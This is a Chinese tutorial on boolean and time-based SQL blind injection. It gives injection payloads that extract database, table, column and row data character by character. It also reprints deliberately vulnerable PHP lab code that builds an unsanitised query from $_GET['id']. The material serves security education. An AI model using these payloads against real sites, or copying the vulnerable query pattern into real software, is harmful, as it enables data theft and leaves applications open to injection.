SQL盲注

什么是SQL盲注

盲注是SQL注入的其中一种,是在SQL注入的基础上,根据根据SQL注入的回显不同来进行判断的

什么叫回显的不同,举个例子

1
SELECT * FROM users WHERE id='$id' LIMIT 0,1

执行这个语句进行查询,如果你能看到查询到的数据,就叫做有回显,如果你没看到查询的具体信息,只告诉你查询成功等信息,甚至什么都不说,但是在这个过程中,SQL语句被执行了,SQL注入也发生了,只是我们拿不到注入的结果

那么遇到查不到详细信息的情况怎么办呢,就需要用到SQL盲注的知识,可以理解为一种爆破

比如他只告诉你查询成功和查询失败,那么你就可以这样去问

1
2
3
4
5
6
7
8
如果"数据库名"的第1个字母是a,你就说“查询成功”,否则就说“查询失败”
如果"数据库名"的第1个字母是b,你就说“查询成功”,否则就说“查询失败”
如果"数据库名"的第1个字母是c,你就说“查询成功”,否则就说“查询失败”
...
如果"数据库名"的第2个字母是a,你就说“查询成功”,否则就说“查询失败”
如果"数据库名"的第2个字母是b,你就说“查询成功”,否则就说“查询失败”
如果"数据库名"的第2个字母是c,你就说“查询成功”,否则就说“查询失败”
...

这样通过不断的测试,从数据库名开始测试,到数据库表名,再到字段名,再到具体的数据,这样就可以成功进行SQL注入,查询到我们所需要的信息,而SQL查询结构是被WHERE子句所控制的,所以攻击者一般就是对WHERE子句进行构造

盲注的分类

总的来说,可以分成布尔盲注和时间盲注

布尔盲注

就是我们上面举例所说的,WEB应用只返回查询成功和查询失败,通过成功和失败进行判断是否查到了我们需要的信息

时间盲注

那如果遇到完全无回显的情况怎么办呢,连成功和失败都不告诉你,就需要用到时间盲注,通过响应的时长进行判断,如果满足xx条件,就sleep指定时间,否则就不sleep,这样只要看服务器是否延时响应即可进行判断

如何进行盲注

布尔盲注

一般情况下题目是不会给到具体的源码的,所以需要我们自己去猜测后端执行sql查询的命令是什么

查询语句的构造一般都是这样的

1
select xx from xx where xx = '$id';

在这个语句中,只有$id是我们可控的,所以我们盲注的第一步,是要找到id这个注入点

然后,找到了注入点之后,就需要开始构造我们的查询语句了

我们首先猜测他的语句是这样

1
SELECT xxx FROM xxx WHERE id='$id'

之前我们讲过,要查询具体的数据,首先要知道数据库名

那我们先开始测试数据库名的长度

根据他给的语句我们可以进行如下构造

1
SELECT xxx FROM xxx WHERE id='0' or length(database())>1 #

在测试出数据库名的长度之后,我们就可以继续测试数据库的表名了

这里就需要用到一个叫做substr的函数了

这个函数的作用是截取字符串

substr(strings,m,n)

strings :被截取的字符串或字符串表达式

m 从第m个字符开始截取

n 截取后字符串长度为n

简单的说,就是substr(要截取的字符串,从哪一位开始截取,截取多长)

还有几种substr的替代品

比如mid(),这个函数的用法和substr一样

right(),right(截取的字符串,截取长度)

trim(),TRIM([{BOTH | LEADING | TRAILING} [remstr] FROM str)表示移除str这个字符串首尾(BOTH)/句首(LEADING)/句尾(TRAILING)的remstr

然后我们再次尝试如下构造

1
SELECT xxx FROM xxx WHERE id='0' or substr(database(),1,1)='a' #

经过这样爆破,我们也可以知道数据库的库名了,接下来就是去找我们需要查的表名

我们需要先了解一下information_schema,这是一个存储数据库信息的数据库,里面存了Mysql服务器所维护的所有数据库的各类信息

我们一般只关注两张表:tables 和 columns

先查security数据库中第一个表名的长度

所以我们的构造如下

1
SELECT xxx FROM xxx WHERE id='0' or (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6 #

在查询出了表名长度之后,我们可以继续对表名进行爆破

1
SELECT xxx FROM xxx WHERE id='0' or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e' #

接下来就是字段名的爆破

1
SELECT xxx FROM xxx WHERE id='0' or substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'#

接下来就是针对字段名进行数据的爆破

1
SELECT xxx FROM xxx WHERE id='0' or substr((select username from security.users limit 0,1),1,1)='D' #
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}

?>

时间盲注

首先还是对数据库名的长度进行猜测

1
SELECT xxx FROM xxx WHERE id='0' or if(length(database())=5 ,sleep(3),0) #

再对数据库名进行猜测

1
SELECT xxx FROM xxx WHERE id='0' or if((select substr(database(),1,1)) = 's' ,sleep(3),0) #

对数据库表名长度进行猜测

1
SELECT xxx FROM xxx WHERE id='0' or if((select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6,sleep(3),0) #

对数据库表名进行猜测

1
SELECT xxx FROM xxx WHERE id='0' or if((select substr(database(),1,1)) = 's' ,sleep(3),0) #

对数据库字段名进行猜测

1
SELECT xxx FROM xxx WHERE id='0' or if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(3),0)#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}
}
else { echo "Please input the ID as parameter with numeric value";}

?>